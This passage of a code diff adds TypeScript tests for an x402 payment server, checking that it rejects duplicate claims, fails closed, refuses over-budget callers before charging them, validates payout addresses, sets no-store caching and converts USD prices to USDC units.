authoritative claim can catch this, and it must. + const seen = new Set(); + setX402ClaimStoreForTests({ + async insert(record) { + if (seen.has(record.paymentIdentity)) return "duplicate"; + seen.add(record.paymentIdentity); + return "inserted"; + }, + async lookup() { + return null; // pre-check always misses + }, + async countSince() { + return 0; + }, + }); + + const settler = succeedingSettler(); + + const first = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "content:courses", + amountUsd: "0.005", + route: "/api/x402/content", + settle: settler.step, + }); + assert.equal(first.ok, true); + + const second = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "content:courses", + amountUsd: "0.005", + route: "/api/x402/content", + settle: settler.step, + }); + + assert.equal(second.ok, false); + if (!second.ok) { + assert.equal(second.response.status, 409); + const body = await second.response.json(); + assert.equal(body.code, "payment_already_consumed"); + } + }); + + it("surfaces a 402 when settlement fails", async () => { + const outcome = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "content:courses", + amountUsd: "0.005", + route: "/api/x402/content", + settle: async () => ({ success: false }), + }); + + assert.equal(outcome.ok, false); + if (!outcome.ok) { + assert.equal(outcome.response.status, 402); + assert.equal(outcome.response.headers.get("Cache-Control"), X402_PAYMENT_CACHE_CONTROL); + } + }); + + it("fails closed without granting when the claim store is unreachable", async () => { + setX402ClaimStoreForTests(brokenStore); + + const outcome = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "content:courses", + amountUsd: "0.005", + route: "/api/x402/content", + settle: succeedingSettler().step, + }); + + assert.equal(outcome.ok, false); + if (!outcome.ok) { + assert.equal(outcome.response.status, 503); + const body = await outcome.response.json(); + assert.equal(body.code, "payment_guard_unavailable"); + assert.equal(body.retryable, true); + } + }); + + it("refuses an over-budget machine caller before charging it", async () => { + let settled = 0; + const settle = async () => { + settled++; + return { success: true, transaction: "0xsettled", headers: {} }; + }; + + /** A distinct authorization from the same payer, so only the cap applies. */ + const nthPayment = (n: number) => + verifiedResult({ + paymentPayload: eip3009Payload({ + payload: { + signature: `0xsignature-${n}`, + authorization: { from: PAYER_A, value: "5000", nonce: `0xnonce-${n}` }, + }, + }), + }); + + const call = (n: number) => + fulfilX402Payment({ + verified: nthPayment(n), + resourceKey: "ai-research", + amountUsd: "0.05", + route: "/api/ai/research", + enforceMachineDailyCap: 2, + settle, + }); + + // Two payments fit inside the cap of 2. + assert.equal((await call(1)).ok, true); + assert.equal((await call(2)).ok, true); + assert.equal(settled, 2); + + const capped = await call(3); + + assert.equal(capped.ok, false); + if (!capped.ok) { + assert.equal(capped.response.status, 429); + const body = await capped.response.json(); + assert.equal(body.code, "machine_daily_limit"); + } + // Critically: the over-budget request was refused WITHOUT being charged. + assert.equal(settled, 2); + }); + + it("refuses an unattributable payer rather than granting unmetered", async () => { + let settled = 0; + const outcome = await fulfilX402Payment({ + verified: verifiedResult({ + paymentPayload: { x402Version: 2, scheme: "exact", payload: { unknown: true } }, + }), + resourceKey: "ai-research", + amountUsd: "0.05", + route: "/api/ai/research", + enforceMachineDailyCap: 60, + settle: async () => { + settled++; + return { success: true, transaction: "0xsettled", headers: {} }; + }, + }); + + assert.equal(outcome.ok, false); + if (!outcome.ok) { + assert.equal(outcome.response.status, 503); + } + assert.equal(settled, 0); + }); + + it("fails closed when the budget cannot be read", async () => { + setX402ClaimStoreForTests(brokenStore); + + const outcome = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "ai-research", + amountUsd: "0.05", + route: "/api/ai/research", + enforceMachineDailyCap: 60, + settle: succeedingSettler().step, + }); + + assert.equal(outcome.ok, false); + if (!outcome.ok) { + assert.equal(outcome.response.status, 503); + } + }); +}); + +/* ------------------------------------------------------------------ */ +/* Route configuration */ +/* ------------------------------------------------------------------ */ + +describe("x402 payout address validation", () => { + it("accepts a real merchant address", () => { + assert.equal(assertValidPayTo(PAYER_A), PAYER_A); + assert.equal(assertValidPayTo(` ${PAYER_A} `), PAYER_A); + }); + + it("rejects the placeholder and zero addresses", () => { + // 0x…0001 was the shipped default, and it silently swallowed payments. + assert.throws(() => assertValidPayTo("0x0000000000000000000000000000000000000001")); + assert.throws(() => assertValidPayTo("0x0000000000000000000000000000000000000002")); + assert.throws(() => assertValidPayTo("0x0000000000000000000000000000000000000000")); + assert.throws(() => assertValidPayTo(undefined)); + assert.throws(() => assertValidPayTo("")); + assert.throws(() => assertValidPayTo("not-an-address")); + assert.throws(() => assertValidPayTo("0x123")); + }); +}); + +describe("x402 cache policy", () => { + it("marks granted content non-cacheable", () => { + const response = applyPaidContentCachePolicy(Response.json({ course: "mun-basics" })); + + // `no-store` keeps the bought body out of every shared cache. `no-cache` + // would still permit a CDN to store it and revalidate. + assert.equal(response.headers.get("Cache-Control"), X402_PAID_CONTENT_CACHE_CONTROL); + assert.match(X402_PAID_CONTENT_CACHE_CONTROL, /no-store/); + assert.match(X402_PAID_CONTENT_CACHE_CONTROL, /private/); + }); + + it("keeps negotiation traffic non-cacheable too", () => { + assert.equal(X402_PAYMENT_CACHE_CONTROL, "no-store"); + }); +}); + +describe("x402 USD to atomic unit conversion", () => { + it("converts route prices to 6-decimal USDC units", () => { + assert.equal(usdPriceToAtomicUnits("0.005"), 5000); + assert.equal(usdPriceToAtomicUnits("$0.005"), 5000); + assert.equal(usdPriceToAtomicUnits("0.05"), 50000); + assert.equal(usdPriceToAtomicUnits("1"), 1000000); + assert.equal(usdPriceToAtomicUnits("1.5"), 1500000); + }); + + it("rejects malformed or non-positive prices", () => { + assert.throws(() => usdPriceToAtomicUnits("0")); + assert.throws(() => usdPriceToAtomicUnits("abc")); + assert.throws(() => usdPriceToAtomicUnits("1.1234567")); + assert.throws(() => usdPriceToAtomicUnits("-1")); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Misconfiguration must not serve the resource */ +/* ------------------------------------------------------------------ */ + +describe("x402 route misconfiguration", () => { + const originalPayTo = process.env.X402_PAY_TO; + + afterEach(() => { + if (originalPayTo === undefined) delete process.env.X402_PAY_TO; + else process.env.X402_PAY_TO = originalPayTo; + resetX402ClaimStoreForTests(); + }); + + it("returns a named 503 rather than an opaque 500 when no payout address is set", async () => { + delete process.env.X402_PAY_TO; + // Reset the cached server so configuration is re-read. + resetX402ClaimStoreForTests(); + + const request = new Request("https://mun-prep.local/api/x402/content?resource=courses", { + method: "GET", + headers: { "User-Agent": "ClaudeBot/1.0" }, + }); + + const error = await processX402Request(request, "/api/x402/content", "GET").then( + () => null, + (thrown: unknown) => thrown + ); + + assert.ok(error, "expected the route to refuse"); + assert.equal((error as { status?: number }).status, 503); + assert.equal((error as { code?: string }).code, "payment_rail_misconfigured"); + }); +}); diff --git a/tests/x402-server.test.ts b/tests/x402-server.test.ts index a44720b..c089948 100644 --- a/tests/x402-server.test.ts +++ b/tests/x402-server.test.ts @@ -10,6 +10,13 @@ import { } from "@/lib/server/x402-server"; import { decodePaymentRequiredHeader } from "@x402/core/http"; +// The route config refuses to build with an unset or placeholder payout address +// (`assertValidPayTo`), so these tests configure a real merchant wallet exactly +// as production must. Without this the suite would silently be exercising the +// placeholder address that used to swallow payments. +const TEST_PAY_TO = "0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed"; +process.env.X402_PAY_TO ??= TEST_PAY_TO; + describe("x402 Server Integration & Protocol Compliance", () => { it("provides valid default configuration", () => { const config = getX402Config();